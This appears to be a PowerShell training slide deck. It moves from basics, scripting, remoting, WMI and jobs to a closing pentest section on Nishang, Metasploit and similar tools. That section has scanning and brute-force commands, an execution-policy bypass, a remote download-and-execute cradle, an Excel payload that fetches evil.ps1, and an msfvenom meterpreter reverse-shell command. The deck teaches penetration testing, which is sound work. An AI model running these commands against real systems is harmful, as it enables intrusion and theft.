Windows Powershell
@KINGAMIR
1
Agenda for Powershell
▪ PowerShell Basics
▪ PowerShell Operations
▪ Writing your own script
▪ PowerShell Remoting
▪ Powershell for Pentesters
2
What is Powershell??
▪ Windows PowerShell is a command-line shell and scripting
environment that brings the power of the .NET Framework to
command-line users and script writers.
▪ It introduces a number of powerful new concepts that enables
you to extend the knowledge you have gained and the scripts
you have created within the Windows Command Prompt and
Windows Script Host environments.
3
Main Features in Powershell
▪ It's not going away any time soon
▪ Most Microsoft products will eventually use it
▪ PowerShell Supports the Full .NET API
▪ PowerShell Can Be Used on Linux
4
Powershell fundamental
▪ Revolutionary interactive shell and scripting language
Based on .NET
New set of built-in tools (~130)
New language to take advantage of .NET
An “object-based” pipeline view
Can continue to use current tools
Can continue to use current instrumentation (COM, ADSI, WMI, ADO,
XML, Text, …)
5
Frequently Asked Questions
▪ Do I need to learn .NET before I can use Powershell?
No - you can continue to use existing tools
▪ Do I need to rewrite all my existing tools?
No - existing tools will run just fine
▪ Do I need to learn the new language?
No -You can easily run existing commands without modification
Many Unix and DOS commands work… try them…
6
Learning and Documentation
▪ Online help is full of examples
▪ Many books and documentation are available already
Microsoft Press – Microsoft Windows PowerShell Step By Step
Manning – Windows PowerShell in Action
Sams – Windows PowerShell Unleashed
Sapien Press – Microsoft Windows PowerShell
TechNet - Scripting with Windows PowerShell
7
PowerShell Interface
8
Installation Requirements
▪ Before you install Windows PowerShell, be sure that your system
has the software programs that Windows PowerShell requires.
Windows PowerShell requires the following programs:
• Windows XP Service Pack 2, Windows 2003 Service Pack 1, or later versions
of Windows
• Microsoft .NET Framework 2.0
▪ If any version of Windows PowerShell is already installed on the
computer, use Add or Remove Programs in Control Panel to
uninstall it before installing a new version.
9
PowerShell Versions
V2
▪Windows XP, Windows Server 2003
V3
▪Windows 7, Windows Server 2008
V4
▪Windows 7+, Windows Server 2008R2+
V5
▪Windows 10+, Windows Server 2016+
10
PowerShell Version2
▪ Windows XP or later
▪ Windows 2003 or later
▪ .NET Framework 2.0 (min)
▪ .NET Framework 3.5 (opt)
11
PowerShell Version3
▪ Windows 7 or later
▪ Windows 2008 or later
▪ .NET Framework 4.0 full
12
PowerShell Version4
▪ Windows 7 or later
▪ Windows 2008R2 or later
▪ .NET Framework 4.5 full
13
PowerShell Version5
▪ Windows 10 or later
▪ Windows 2016 or later
▪ Windows Management Framework 5.0
14
15
Session 1
PowerShell Basics
To begin working…
▪ Commands are built with logic
Verb-noun
▪ Pipeline “ | ”
▪ Some good starters
Get-Help
Get-Command | more
Get-Command | sort-object noun | format-table -group noun
Get-Alias | more
Get-Help stop-service -detailed | more
16
File extensions
▪ PS1 – Windows PowerShell shell script
▪ PSD1 – Windows PowerShell data file (for Version 2)
▪ PSM1 – Windows PowerShell module file (for Version 2)
▪ PS1XML – Windows PowerShell format and type definitions
▪ CLIXML – Windows PowerShell serialized data
▪ PSC1 – Windows PowerShell console file
▪ PSSC – Windows PowerShell Session Configuration file
17
PowerShell Concepts
▪ Module
A module is a set of related Windows PowerShell functionalities,
grouped together as a convenient unit.
▪ Cmdlet
Cmdlet is a lightweight command that is used in the Windows
PowerShell environment.
▪ Alias
An alias is an alternate name or nickname for a Cmdlet or for a
command element, such as a function, script,…
18
Windows PowerShell
▪ Getting Modules
Get-Module –ListAvailable
▪ Searching for commands
Get-Command -Name *proc*
▪ Using Cmdlet keyword
Help online by this keyword – (Cmdlet process)
▪ Using alias
Get-Alias -Name dir
19
Windows PowerShell
▪ Command and Parameters
▪ Optional and Required Parameters
▪ Parameters Value
▪ Positional and named Parameters
▪ External Commands
20
Optional and Required Parameters
▪PARAMETERS
-ComputerName <string[]>
Required? false
Position? Named
Accept pipeline input? true (ByPropertyName)
Parameter set name Id, Name, InputObject
Aliases Cn
Dynamic? false
21
Optional and Required Parameters
▪-Id <int[]>
Required? true
Position? Named
Accept pipeline input? true (ByPropertyName)
Parameter set name IdWithUserName, Id
Aliases PID
Dynamic? false
22
Parameters Value
▪ Get-Process -Id <int[]> -IncludeUserName [<CommonParameters>]
▪Get-Process [[-Name] <string[]>] -IncludeUserName [<CommonParameters>]
23
Positional and named Parameters
▪ Get-Process [[-Name] <string[]>] [-ComputerName <string[]>] [-Module] [-
FileVersionInfo] [<CommonParameters>]
▪ Get-Process explorer,conhost
▪ The Brackets shows that this parameter is positional
24
External Commands
▪ icacls C:\logs /grant Administrator:(D,WDAC)
It will not run in PowerShell you must use “”
▪ icacls C:\logs /grant “Administrator:(D,WDAC)”
▪ Icacls --% C:\logs /grant Administrator:(D,WDAC)
This will run
25
Pipeline Mastery
▪ Import, Export, and Converting
CVS, CLiXML and HTML
▪ Understanding Pipeline
Its all about extracting command output to another command in order to produce one line
code
26
Import, Export, and Converting
▪ Get-Process | Export-Csv -Path C:\Processes.csv
▪ Get-Process | ConvertTo-Csv | Out-File -FilePath C:\Processes.csv
▪ Get-Process | Export-Clixml -Path D:\Processes.xml
After launching some processes like notepad calc we compare processes
▪ Compare-Object -ReferenceObject (Import-Clixml D:\Processes.xml) -DifferenceObject (Get-
Process) -Property Name
▪ Get-Service | ConvertTo-Html | Out-File -FilePath C:\Services.html
27
PowerShell Objects
▪ Commands that output to pipeline make objects you can see
their property by piping them to Get-Member
Get-Process | Get-Member
TypeName: System.Diagnostics.Process
me MemberType Definition
-- ---------- ----------
ndles AliasProperty Handles = Handlecount
GetHashCode Method int GetHashCode()
M AliasProperty NPM = NonpagedSystemMemorySize64
28
Understanding Pipeline
▪ You can google TypeName to find out what is all property
means and show.
▪ $x = "Hello"
▪ $x | Get-Member
▪ Replace Method string Replace
▪ $x.Replace('ll','xx') → Hexxo
29
Core Commands
▪ Selecting
Get-Process | Sort-Object -Property ws –Descending | Select-Object -First 10
Get-Process | Sort-Object -Property ws –Descending | Select-Object -First 10 –Property Name
▪ Sorting
Get-Process | Sort-Object -Property ws -Descending
▪ Measuring
Get-Process | Measure-Object -Property ws -Sum -Average -Maximum -Minimum
▪ Grouping
Get-Process | Group-Object -Property Status
30
Passing Command
▪ Get-Everyone | Export-Csv -Path D:\user.csv
▪ import-csv -Path D:\user.csv | New-Aduser -Whatif
31
Formatting output Command
▪ Get-Process | Format-Wide -Property id -Column 8
▪ Get-Process | Format-List -Property id,cpu
▪ Get-Process | Format-List -Property *
▪ Get-Process | Format-Table -Property * -AutoSize
▪ Formatting must be last in your command
32
Variable & Object & HashTable
▪ Variable Name
▪ Variable Type and Type Adaptation
▪ All Variables are Object
▪ Array
▪ HashTable
▪ Environmental Variables
33
Variable Name
▪ You can use virtually any variable name you choose, names
are not case sensitive.
▪ But, there are illegal characters such as; ! @ # % & , . and
spaces. PowerShell will throw an error if you use an illegal
character.
$Microsoft $MicroSoft $microsoft are The Same!
${My English Name is #merlin@} is OK!
34
Variable Type
▪ Powershell variable type is base on .NET Framework.
▪ Common variable is as below:
[adsi], [array], [bool], [byte], [char]
[datetime], [decimal], [double]
[int] or [int32], [long]
[single], [scriptblock], [string]
[WMI], [WMIclass], [xml]
35
Declaring Variables and Type
Adaptation
▪ $a=333
▪ $b=“66”
▪ $c=SS
$a.GetType()
$b.GetType().Name
$a+$b ; $b+$a ??
$b+$c ; $c+$b ??
$a+$c ; $c+$a ??
36
All Variables are Object
▪ [int]$Age=22
▪ $Age.GetType()
▪ $Age GetType().Name
▪ $Age | Get-Member
▪ $Title=“manager”
▪ $Title.length
▪ $Title.CompareTo()
37
HashTable
▪ Defenition of HashTable
$states = @{"Washington" = "Olympia"; "Oregon" = "Salem"; California =
"Sacramento"}
Name Value
---- -----
Washington Olympia
Oregon Salem
California Sacramento
38
HashTable
▪ Add or remove items in HashTable
$states.Add("Alaska", "Fairbanks")
$states.Remove("Alaska")
$states.Get_Item("Oregon")
$states.ContainsKey("Oregon")
$states.ContainsValue("Salem")
39
Array
▪ $RainbowColor = "red", "orange", "yellow", "green", "blue",
"indigo", "violet"
▪ $a = 3, "apple", 3.1415926, “cat“, 23
▪ [int[]]$b = 51, 29, 88, 27,50
▪ $b.SetValue(19, 3)
▪ $b[-1]=888
▪ $PeopleTable = @{“Merlin Lin" = “3725-3888"; “Linda Chen" =
“0800-000-213"…}
40
41
Session 2
PowerShell Operations
Powershell Operator
▪ Arithmetic Binary Operators
+, -, *, \, %, ++, --
▪ Assignment Operators
=, +=, -=, *=, /=, %=
▪ Logical Operators
!, -not, -and, -or
▪ String Operators
+, *, -f, -replace, -match, -like
▪ Comparison Operators
-eq, -ne, -gt, –ge, -lt, –le
42
Arithmetic Binary Operators
▪ 123+789 ; 222-876
▪ 34.5*44.2 ; 13/7
▪ 123%5
▪ $var++ ; ++$var ➔ $var = $var + 1
▪ $var-- ; --$var ➔ $var = $var – 1
43
Assignment Operators
▪ $var=3
▪ $var+=3 ; $var-=3
▪ $var*=3 ;$var/=3 ; $var%=3
▪ $var = 0x10 ➔ echo $var ➔ 16
▪ $var = 7.56e3 ➔ echo $var ➔ 7560
▪ $var=7MB ➔ echo $var ➔ 7340043 (bytes)
44
String Operators
-like ; -clike ; -ilike To be like as
-notlike ; -cnotlike ;-inotlike To not be like as
-match ; -cmatch ;-imatch Match
-notmatch ; -cnotmatch ; -inotmatch Not match
-contains ; -ccontains ; -icontains Include
-notcontains; -cnotcontains ;
Not include
-inotcontains
45
Comparison Operators
▪ -le ; -cle ; -ile ➔ <=
▪ -eq; -ceq; -ieq ➔ =
▪ -ne; -cne; -ine ➔ !=
▪ -gt; -cgt; -igt ➔ >
▪ -ge; -cge; -ige ➔ >=
▪ -lt; -clt; -ilt ➔ <
▪ -le; -cle; ile ➔ <=
46
Examples
▪ 5 -eq 5 ▪ "hello" -ceq "HELLO"
▪ 5 -ne 10 ▪ "hello" -like "*l*"
▪ 5 -gt 3 ▪ "hello" -like "*L*"
▪ 3 -lt 10 ▪ "hello" -clike "*L*"
▪ 5 -ge 5 ▪ "hello" -cnotlike "*L*"
▪ 5 -le 10 ▪ "hello" -notlike "*L*"
▪ "hello" -eq "hello"
▪ "hello" -eq "goodbye"
▪ "hello" -ne "goodbye"
47
Comparison Operators
▪ "inotlike","imatch"
▪ "inotmatch"," clike"
▪ "cnotlike", "cmatch"
48
Advanced Operators
▪ $x = 'hello'
▪ $x -is [string]
▪ $x -is [int]
▪ $x -as [int]
▪ 5.6
▪ $x = '55555'
▪ $x -as [int]
▪ $y = $x -as [int]
▪ $y -is [int]
▪ $y -isnot [string]
49
Examples
▪ $x = 1,2,3,4,5,6,'one','two','three','four','five','six'
▪ $x -contains 'two'
▪ $x -contains 'twoo'
▪ $x -contains 'seven‘
▪ 2 -in $x
▪ 'four' -in $x
▪ $x = "PowerShell"
▪ $x -replace 'l','x‘
▪ $x += ‘seven’
▪ $x –join “,”
▪ $list = $x –join “,”
▪ $list -split ","
50
Examples
▪ Help about_operators -online
https://docs.microsoft.com/en-
us/powershell/module/microsoft.powershell.core/about/about_
operators?view=powershell-5.1
51
Using String Operators
▪ Get-Service | Where-Object -FilterScript {$_.status -eq
"Running"}
▪ Get-Service | Where-Object -FilterScript {$_.status -eq
"Running" -and $_.name -like "*e"}
52
AND,OR,XOR Operators
AND True False
True ✔ ✘
False ✘ ✘
OR True False
True ✔ ✔
False ✔ ✘
XOR True False
True ✘ ✔
False ✔ ✘
53
Using Logical Operators
▪ (7 -eq 7) -and (2 -eq 5)
▪ (7 -eq 7) -or (2 -eq 5)
▪ (9 -eq 9) -xor (4 -eq 4)
▪ (9 -eq 9) -xor (4 -eq 7)
▪ (3 -eq 3) -and !(2 -eq 2)
▪ (3 -eq 3) -and -not (2 -eq 9)
54
Regular Expressions
▪ "192.168.15.20" -match "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}“
▪ $email = “[email protected]”
▪ $regex = "^[a-z]+\.[a-z][email protected]$“
▪ If ($email –notmatch $regex) {
Write-Host "Invalid e-mail address $email"
}
▪ Invalid e-mail address [email protected]
▪ When email is [email protected] the output will be null which means email
matches regular expression.
55
Manage files
▪ Dir C:\ | out-File C:\directorylist.txt
▪ Dir D:\ | out-File C:\directorylist.txt -append
▪ 1..100
▪ 1..100 | Get-Random
56
57
Session 3
Writing your own script
Execution Policy & Weakness
▪ Set-ExecutionPolicy [-ExecutionPolicy] {Unrestricted |
RemoteSigned | AllSigned | Restricted | Default | Bypass |
Undefined}
▪ Cmd.exe /c Powershell –exec bypass
58
Writing PowerShell Function
▪ Function test{
Write-Host “Hello World!”
}
▪ Save is as C:\myscript.ps1
59
Write & Out & Read
▪ Write
Host
Output
Verbose
Debug
Warning
Error
▪ Out
Host
60
Write
▪ Get-Command -Verb write
▪ Write-Error -Exception "Erorr!!" -Message "Erorr!!" -Category
ConnectionError
▪ Write-Host -Object "Hello World!“
▪ Write-Verbose -Message "Hello World!“
▪ for ($I = 1; $I -le 100; $I++ ) {Write-Progress -Activity "Search in
Progress" -Status "$I% Complete:" -PercentComplete $I;}
61
Read
▪ $Password = Read-Host -Prompt "Enter your Password" -
AsSecureString -Verbose
62
Scripting Basic
▪ Functions Basic
▪ Filters
▪ Pipeline Functions
63
Functions Basics
▪ Write command
▪ Make a parametarized script
▪ Enconsole it in a function
▪ Package as a module
64
Write command
function Get-LastAppLog{
Param(
[string]$ComputerName
)
Get-EventLog -ComputerName $ComputerName -LogName
Application -Newest 20
}
65
Make a parametarized script
function Get-LastAppLog{
Param(
[string]$ComputerName
)
Get-EventLog -ComputerName $ComputerName -LogName
Application -Newest 20
}
66
Enconsole it in a function
function Get-LastAppLog{
Param(
[string]$ComputerName
)
Get-EventLog -ComputerName $ComputerName -LogName
Application -Newest 20
}
67
Advanced Function
Param
(
[parameter(Mandatory=$true, ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true )]
[String[]]
[ValidateLength(1,10)]
[ValidatePattern("[0-9][0-9][0-9][0-9]")]
[ValidateSet("Low", "Average", "High")]
[ValidateNotNull()]
$ComputerName
)
68
Hidden function in PowerShell
▪ This command will usable only these functions of your script
Export-ModuleMember -Function Get-PcInfo,Set-PcDriveMap
69
Error in PowerShell
▪ Get-Content nothing.txt -ErrorAction SilentlyContinue
▪ Get-Content nothing.txt -ErrorAction Continue
▪ Get-Content nothing.txt –ErrorAction Stop
70
Error Handling Example
Try
{$AuthorizedUsers= Get-Content \\ FileServer\HRShare\UserList.txt -ErrorAction Stop
}
Catch
{Send-MailMessage -From [email protected] -To
[email protected] -Subject "HR File Read Failed!" -SmtpServer
EXCH01.AD.MyCompany.Com
}
Finally{
Write-Host “No Way!!!!!!!!!!!”
}
71
Advanced Function
Param
(
[parameter(Mandatory=$true)]
[alias("CN","MachineName")]
[String[]]
$ComputerName
)
72
Dot Sourcing
▪ You must somehow put your function to current PowerShell
process
▪ Do it like this
. .C:\myscript.ps1
73
PSDrive
74
PSDrive Operation
▪ Get-PSDrive
▪ mount -Name Seting -psProvider FileSystem -Root
"C:\Documents and Settings”
▪ mount -Name MS -PSProvider Registry -Root
HKLM\Software\Microsoft
▪ rdr -Name MS
▪ Set-Location
▪ Get-Location
75
Environmental Variables
▪ Get-ChildItem Env:
▪ Creating – and Modifying -- Environment Variables
$env:testv = "This is a test environment variable.“
[Environment]::SetEnvironmentVariable("testv", "VVVV", “User")
[Environment]::GetEnvironmentVariable(“testv","User")
Remove-Item Env:\testv
[Environment]::SetEnvironmentVariable(“testv” ,$null,"User")
76
PSModulePath
▪ This is the default path for powershell to load mosules from
there
C:\Users\PrinceAmir\Documents\WindowsPowerShell\Modules
77
Defining & adding defaults
▪ This feature only exists in PowerShell v3 and later.
$PSDefaultParameterValues = @{"Get-EventLog:Newest"=10}
$PSDefaultParameterValues.Add("Get-EventLog:LogName","Application")
$PSDefaultParameterValues.Remove("*:ComputerName")
78
Enumerating Objects in the Pipeline
▪ Foreach
▪ Performance Cautions
▪ Syntactical Difference
79
Foreach
▪ notepad;notepad;notepad;notepad;notepad;notepad;notepa
d;notepad
▪ Get-Process -Name notepad | ForEach-Object -Process
{$_.kill()}
80
Performance Cautions
▪ Measure-Command -Expression
{notepad;notepad;notepad;notepad; Stop-Process -name
notepad}
▪ Measure-Command -Expression
{notepad;notepad;notepad;notepad; ps -name notepad |
ForEach {$_.kill()}}
81
Loop and Flow Control
▪ If…. elseif… else…
▪ Switch…… default
▪ ForEach(Foreach-Object)
▪ For
▪ While
▪ Do….. While
▪ Do…..Until
▪ Break & Continue
82
If…. elseif… else…
If (< statement 1>)
{ < code 1> }
Elseif (< statement 2>)
{ < code 2> … }
Else { <code n> }
83
Switch…… default
Switch [-regex|-wildcard|-exact][-casesensitive] -file <filename>
(< variable >)
{
< Pattern 1> { code 1 }
< Pattern 2> { code 2 }
< Pattern 3> { code 3 } …
Default { code n }
}
84
ForEach(Foreach-Object)
ForEach
($<item or object> in $<Collection object>)
{ <code> }
dir | ForEach -process { $_.length / 1024}
85
For
For (<initial>; < statement >; < count>) {
<code>
}
86
While, do while, do until
▪ While (< statement >) {
<code> }
▪ Do { < code >
} While (< statement >)
▪ Do {<code>
} Until (<statement>)
ps. “Until” can wait something happen!!
87
Break; Continue
▪ For ($i = 1; $i -le 10; $i++) {
Write-Host $i
If ($i -eq 5) { Write-Host "BREAK!!“
Break }
}
▪ ForEach ($i in 1..10) {
If ($i % 2) {
Continue }
$i }
88
Functions
▪ Script Block
▪ Function
▪ Function Arguments
▪ Function Return Values
▪ Variable Scope
89
Script Block
▪ $a = { $x = 2 , $y = 3 , $x * $y }
PS > &$a
PS > 6
▪ $lsName = { ForEach($item in $input)
{ $item.Name }
}
dir | &$lsName
90
Function
Function MySimpleFun {
Write-Host “This is a function“
}
MySimpleFun
This is a function
91
Function Arguments
Function Show-Str {
Write-Host $args[0]
}
Show-Str “Hello , First Arg!!”
Hello, First Arg!!
92
Function Return Values
Function AandB([int]$x=10, [int]$y=90) {
$x + $y
$x - $y
$x * $y
}
AandB 8 2
10
6
16
93
PowerShell commands every Windows
admin should know
▪ Get-EventLog
▪ Get-HotFix
▪ Get-ACL
▪ Test-Connection
▪ Start-Job
▪ Get-Item
94
95
Session 4
PowerShell Remoting
PowerShell Remoting Basic
▪ Theory of operation
▪ Enabling Manually
▪ Enabling via GPO
▪ Basic usage
96
Theory of Operation
97
Theory of Operation
▪ This is like SSH in Linux but with one key difference.
▪ In SSH when you type simultaneously it goes and execute on remote system and its response
echo back to you but in PowerShell remoting you send you complete command in CLiXML
format through network and after its reach remote system its deserialized, launch and its
response return in CLiXML format too.
98
The PowerShell remoting authentication
▪ PowerShell remoting protection
Windows PowerShell remoting employs mutual authentication, which
means the remote machine must also prove its identity to you.
Active Directory, the domain will handle the mutual authentication for you
By kerbros
provide a different name for DNS to work (such as a CNAME alias), ip
address then the default mutual authentication won’t work. That leaves
you with two choices: SSL or TrustedHosts
99
Mutual authentication via SSL
▪ Enter-PSession –computerName DC01.COMPANY.LOC -UseSSL
-credential COMPANY\Administrator
▪ With the certificate installed, you’ll need to create an HTTPS
listener on the computer, telling it to use the newly installed
certificate.
100
Mutual authentication via
TrustedHosts
▪ Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value
'192.168.110.250'
▪ Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value *
101
Enabling PSRemoting
▪ In PowerShell version 2
Enable-PSRemoting –Force
▪ In PowerShell version 3 and above
Enable-PSRemoting -Force –SkipNetworkProfileCheck
▪ In your machine
Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value *
Set-Service -Name WinRM -Status Running -StartupType Automatic
▪ Get-PSSessionConfiguration
102
TrustedHosts in GPO
▪ In any GPO or in the Local Computer Policy editor, follow these steps:
Expand Computer Configuration.
Expand Administrative Templates.
Expand Windows Components.
Expand Windows Remote Management.
Expand WinRM Client.
Double-click Trusted Hosts.
Enable the policy and add your trusted hosts lists. Multiple entries can be
separated by commas, such as “*.company.com,*.sales.company.com.”
103
Persistent Remoting PSSession
$session = New-PSSession –ComputerName
192.168.1.20,192.168.1.30 –Credential user
Enter-PSSession –Session 1
Get-PSSession | Remove-PSSession
104
Using Session
Invoke-Command -Session $session -ScriptBlock {get-
psdrive}
Invoke-Command -Session $s -FilePath C:\Evil.ps1
105
Implicit Remoting
▪ PowerShell Version3 is required
▪ Ask session to load module into memory
Invoke-Command -Session $s -ScriptBlock {Import-Module C:\Nishang.psm1}
▪ Create shortcut s to that module’s command on your
computer
Import-PSSession -Session $s -Prefix NISH -Module Nishang
NISHRun-EXEonRemote
106
Advanced Remoting
▪ Working with output
▪ Passing input arguments from local variable in version2
$x = Security
$y = 10
Invoke-Command -ComputerName dc1,member1 -ScriptBlock {param($x,$y) Get-
EventLog -LogName $x -Newest $y } – ArgumentList $logname,$quantity
▪ Passing input arguments from local variable in version 3
$logname = 'Application'
$quantity = 10
Invoke-Command -ComputerName 192.168.110.250 -ScriptBlock {Get-EventLog -
LogName $using:logname -Newest $using:quantity}
107
Advanced Remoting
▪ Custom Session Configuration
New-PSSessionConfigurationFile -Path D:\helpdesk.pssc -
ModulesToImport PrincePower -VisibleCmdlets "Invoke-
ShellCodeKeylog“
Register-PSSessionConfiguration -Name test -
ShowSecurityDescriptorUI
108
Web Remoting
▪ Installation & Setup
▪ Using PWA
▪ Solving Authentication Problem
109
Installation & Setup
▪ Add-WindowsFeature -Name WindowsPowerShellWebAccess
▪ Get-Command -Module PowerShellWebAccess
Command Type Name ModuleName
----------- ---- ----------
Function Install-PswaWebApplication PowerShellWebAccess
Function Uninstall-PswaWebApplication PowerShellWebAccess
Cmdlet Add-PswaAuthorizationRule PowerShellWebAccess
Cmdlet Get-PswaAuthorizationRule PowerShellWebAccess
Cmdlet Remove-PswaAuthorizationRule PowerShellWebAccess
Cmdlet Test-PswaAuthorizationRule PowerShellWebAccess
110
Installation & Setup
▪ You can not run web remoting in HTTP protocol and must
have a certificate.
Install-PswaWebApplication –UseTestCertificate
Add-PswaAuthorizationRule -RuleName 'Defualt' -ConfigurationName
'microsoft.powershell' –User GroupName 'PENTEST\Domain Admins' -
ComputerName 'P1‘
Get-WebBinding -Protocol https | select *
Help Set-WebBinding -Full
111
Installation & Setup
112
Installation & Setup
113
WMI and CIM With PowerShell
▪ We can look at WMI as a collection of objects that provide access to different parts of the
operating system, just like with PowerShell objects we have properties, methods and events
for each. Each of these objects are defined by what is called MOF (Manage Object Format)
files that are saved in %windir%\System32\wbem with the extension of .mof. The MOF files
get loaded by what is called a Provider, when the Provider is registered he loads the
definitions of the objects in to the current WMI Namespace. The Namespace can be seen a
file system structure that organizes the objects on function, inside of each namespace the
objects are just like in PowerShell in what is called Class Instances and each of this is
populated with the OS and Application information as the system runs so we always have the
latest information in this classes.
114
WMI and CIM With PowerShell
▪ Get more information about WMI:
WMIX
WMIExplorer
▪ WMI is capable for get information from windows XP and 2003
and no more investigation from Microsoft on its query's.
▪ CIM is newer but you must have PowerShell V3+.
115
Using WMI to query data
▪ You can have more detail information with command below
Get-WmiObject -Class win32_service | Select-Object -Property * -
First 1
▪ Compare with this command
Get-Service | Select-Object -Property * -First 1
▪ Some Examples from Get-WmiObject
gwmi win32_bios | fl *
116
Using WMI to query data
gwmi -Class AntiSpywareProduct -Namespace root\securitycenter2
$DISK = Get-WmiObject -Class "win32_logicaldisk "
$OS = Get-WmiObject -Class win32_operatingsystem
$DISK | fl *
$OS | fl *
$OS | gm
$OS.ConvertToDateTime($OS.LastBootUpTime).toshortdatestring()
117
Using CIM to query data
▪ Get-CimInstance -ClassName win32_process
▪ Get-CimInstance -ClassName win32_operatingsystem
▪ Get-CimInstance -ClassName Win32_operatingsystem | fl *
If your machine doesn’t have PowerShell v3 you have to use Get-
WmiObject instead of Get-CimInstance.
118
119
Session 5
Jobs in PowerShell
Jobs in PowerShell
▪ Background Job basics
▪ Local,WMI and Remoting jobs
120
Background Job basics
▪ Start-Job -ScriptBlock {dir C:\}
▪ Get-Job
▪ Stop-Job
▪ Receive-Job -Id 1
This will get the jobs result
▪ Get-Job | Remove-Job
121
Background Job Examples
▪ Invoke-Command -ScriptBlock { Get-EventLog -LogName
Application -Newest 10 } -ComputerName 192.168.110.250 –
AsJob
▪ Get-WmiObject -Class win32_process -ComputerName
192.168.110.250 -AsJob
122
Background Job Examples
▪ Get-Command –noun job
CommandType Name
----------- ----
Cmdlet Debug-Job
Cmdlet Get-Job
Cmdlet Receive-Job
Cmdlet Remove-Job
Cmdlet Resume-Job
Cmdlet Start-Job
Cmdlet Stop-Job
Cmdlet Suspend-Job
Cmdlet Wait-Job
123
Background Job Examples
▪ Invoke-Command -ScriptBlock { Get-EventLog -LogName
Application -Newest 10 } -AsJob -JobName LogCollection -
ComputerName 192.168.110.250,localhost
▪ Get-Job -id 1 | Select-Object -ExpandProperty childjobs
124
Schedueld Backgroung Jobs PSv3+
▪ Trigger
Determine that when a job runs
▪ Option
Control jobs behavior
▪ Jobs
Diffrence between task and job and work with result
125
psscheduledjob
Get-Command -Module psscheduledjob
$trigger = New-JobTrigger –AtLogOn
$option = New-ScheduledJobOption -RequireNetwork –
WakeToRun
Register-ScheduledJob -ScriptBlock { Get-Process } -Name "Get
Process At Logon" -Trigger $trigger -ScheduledJobOption
$option
Receive-Job -Id 2
126
127
PowerShell For PenTest
Nishang
Powershell for Pentesters
• Scripting
• Advanced Scripting Concepts
• Modules
• Jobs
• PowerShell with .Net
• Using Windows API with PowerShell
• PowerShell and WMI
• Working with COM objects
• Interacting with the Registry
• Recon and Scanning
• Exploitation
•Brute Forcing
•Client Side Attacks
•Using existing exploitation techniques
•Porting exploits to PowerShell – When and how
•Human Interface Device
128
Powershell for Pentesters
• PowerShell and Metasploit
•Running PowerShell scripts
•Using PowerShell in Metasploit exploits
• Post Exploitation
•Information Gathering and Exfiltration
•Backdoors
•Privilege Escalation
•Getting system secrets
• Post Exploitation
•Passing the hashes/credentials
•PowerShell Remoting
•WMI and WSMAN for remote command execution
•Web Shells
•Achieving Persistence
• Using PowerShell with other security tools
• Defense against PowerShell attacks
129
PowerShell with .Net
▪ Assemblies in PowerShell
Dot NET assemblies are developed with the Microsoft.NET, they
might exist as the executable (.exe) file or dynamic link library (DLL)
file. All the .NET assemblies contain the definition of types,
versioning information for the type, meta-data, and manifest.
[AppDomain]::CurrentDomain.GetAssemblies()
[System.Diagnostics.Process]::GetCurrentProcess()
Using Add-Type
▪ These uses for extend PowerShell capabilities With .NET
▪ The Add-Type cmdlet lets you define a Microsoft .NET
Framework class in your Windows PowerShell session
Add-Type -AssemblyName System.Windows.forms
citatS- rebmeM-teG | ]syeKdneS.smroF.swodniW.metsyS[
“(tiaWdneS::]syeKdneS.smroF.swodniW.metsyS[ AmirAhmadi")
Use Add-Type windows API Calls
Reference http://pinvoke.net/
$ApiCode = @"
[DllImport("kernel32.dll")]
public static extern bool CreateSymbolicLink(string lpSymlinkFileName, string
lpTargetFileName, int dwFlags);
"@
$SymLink = Add-Type -MemberDefinition $ApiCode -Name Symlink -
Namespace CreatSymLink -PassThru
132
Registry & PowerShell
Get-ChildItem -Path hkcu\:
Get-ChildItem –Path
Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER
Reconnaissance & Scanning
▪ Host Discovery
Invoke-ARPScan -CIDR 192.168.110.0/24
▪ Port-Scan
Invoke-PortScan -StartAddress 192.168.110.1 -EndAddress
192.168.110.255 -ResolveHost –ScanPort 80,445
134
BruteForce
Get-Content C:\test\List_database.txt | Invoke-BruteForce -Users sa -
PasswordList C:\test\wordlist.txt.txt -Verbose -Service SQL
Invoke-BruteForce -ComputerName 192.168.110.250 -UserList
C:\test\wordlist.txt –PasswordList C:\test\wordlist.txt
135
Execute-Command-MSSQL
▪ Execute-Command-MSSQL -ComputerName target -
UserName sa -Password sa1234
PS target> iex ((New-
ObjectNet.Webclient).downloadstring(''http://192.168.254.1/Get-
Information.ps1''));Get-Information
136
Client Side Attacks
▪ Out-CHM
▪ Out-DnsTxt
▪ Out-Excel
▪ Out-HTA
▪ Out-Java
▪ Out-JS
▪ Out-RundllCommand
▪ Out-SCF
▪ Out-SCT
▪ Out-Shortcut
▪ Out-WebQuery
▪ Out-Word
137
Examples
Out-Excel -Payload "powershell.exe -ExecutionPolicy
Bypass -noprofile -noexit -c Get-Process" –RemainSafe
Out-Excel -PayloadURL http://192.168.110.220/evil.ps1
138
Metasploit & PowerShell
▪ msfvenom -p windows/x64/meterpreter/reverse_https
LHOST=192.168.110.221 LPORT=6565 -f psh-refelection
▪ exploit/windows/smb/psexec_psh
139
PowerShell Tools For Hacking
▪ Empire
▪ PowerSploit
▪ Nishang
▪ PowerTools
▪ PrincePower
140